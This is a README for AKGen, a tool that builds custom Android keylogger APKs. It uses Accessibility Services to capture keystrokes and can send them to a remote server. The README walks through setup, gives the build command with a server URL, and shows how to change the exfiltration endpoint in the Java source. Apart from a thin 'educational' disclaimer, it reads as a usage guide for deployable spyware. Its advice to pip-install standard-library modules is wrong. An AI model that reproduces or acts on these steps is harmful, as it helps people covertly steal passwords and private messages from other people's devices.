AKGen is an open-source tool that allows users to generate a custom keylogger APK for Android devices. This tool is strictly for educational and ethical purposes. It helps users understand how keyloggers work and how to protect against them.
- Customizable Keylogger: Generate a keylogger APK with your own settings.
- Local or Remote Logging: Save keystrokes locally or send them to a remote server.
- Tested on Kali Linux: Fully compatible with Kali Linux.
Before using AKGen, ensure you have the following installed:
- Python 3 (Pre-installed on Kali Linux)
- Android SDK (Download from developer.android.com)
- Gradle (Install using
sudo apt install gradle
) - Git (Install using
sudo apt install git
)
- Clone the repository:
git clone https://github.com/trmxvibs/AKGen
cd AKGen
- Install required dependencies:
pip install argparse subprocess os shutil
- Set up Android SDK and Gradle:
Download and install Android SDK.
Set environment variables:
export ANDROID_HOME=/path/to/android-sdk
export PATH=$PATH:$ANDROID_HOME/tools/bin
Step 1: Generate the APK Run the following command to generate the keylogger APK:
python akgen.py -o akgen.apk -s (severdetails)
-o
: Output APK file name.
-s
: Server URL to send keystrokes (optional). If not provided, keystrokes will be saved locally.
Transfer the generated APK (akgen.apk
) to your Android device.
Install the APK on your device.
Open the app on your Android device.
Click the "Enable Keylogger" button.
You can customize the keylogger APK as per your requirements:
- Change Server URL
Modify the
-s
parameter in the command to specify your server URL:
python akgen.py -o output.apk -s http://your-custom-server.com
- Modify Keylogger Logic Edit the KeyLoggerService.java file in the template_apk folder to change the keylogger behavior:
private static final String SERVER_URL = "YOUR_SERVER_URL
- Modify UI
Edit the
activity_main.xml
file in thetemplate_apk
folder to change the app's user interface.
APK Generation:
The akgen.py
script modifies the template APK based on user input (e.g., server URL).
It builds the APK using Gradle.
Keylogger Functionality:
The app uses Android's Accessibility Services to capture keystrokes.
Captured keystrokes are either saved locally or sent to a remote server.
This project is licensed under the MIT License. See the LICENSE file for details.
Contributions are welcome! If you have any suggestions or improvements, feel free to open an issue or submit a pull request.
The developers are not responsible for any misuse of this tool. Use it at your own risk.